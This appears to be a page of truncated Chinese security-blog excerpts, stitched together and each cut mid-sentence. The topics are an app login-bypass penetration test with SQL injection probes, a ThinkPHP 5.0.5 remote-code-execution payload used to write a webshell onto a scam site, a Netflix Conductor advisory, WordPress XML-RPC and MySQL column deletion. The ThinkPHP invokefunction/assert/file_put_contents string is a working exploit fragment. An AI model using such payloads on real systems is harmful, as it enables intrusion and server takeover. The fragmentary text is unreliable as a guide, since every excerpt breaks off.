App渗透 - 人脸识别登录绕过打开APP是一个登录框抓包后发现参数被加密了使用Jadx脱源码发现，并没有加壳也没有混淆，运气很好根据经验，先搜索Encrypt、Decrypt等关键字，发现在Common.js中有一个encryptData函数定位过去，一套加解密算法都写好了放在这放到浏览器console里面调试，果然没错首先测试了一下注入明文：{"userName":"TEST'","passW

最近偶然发现一个虚拟货币买涨跌的杀猪盘，遂进行了一波测试，前台长这样。为thinkphp5.0.5随用RCE进行打入，成功写入webshell。s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_de

漏洞通告https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.mdNetflix Conductor是 Netflix 开发的一款工作流编排的引擎，项目地址：https://github.com/Netflix/conductor，本次漏洞成因在于自定义约束冲突时的错误信息支持了 Jav

WordPress采用了XML-RPC接口.并且通过内置函数WordPress API实现了该接口内容。 所以，你可要通过客户端来管理Wordpress。 通过使用WordPress XML-RPC, 你可以使用业界流行博客客户端Weblog Clients来发布你的WordPress日志和页面。同时，XML-RPC 也可使用extended by WordPress Plugins插件来自定义你

表名 table_name要操作的字段名 field_name如果删除字段的值，可以将所有值清空：UPDATE table_name SET field_name = ‘’;如果删除字段（这个字段从此就没有了）：ALTER TABLE qishu_books_sort01 DROP COLUMN Novel_text;查看删除之前的表结构的命令：mysql> select * from te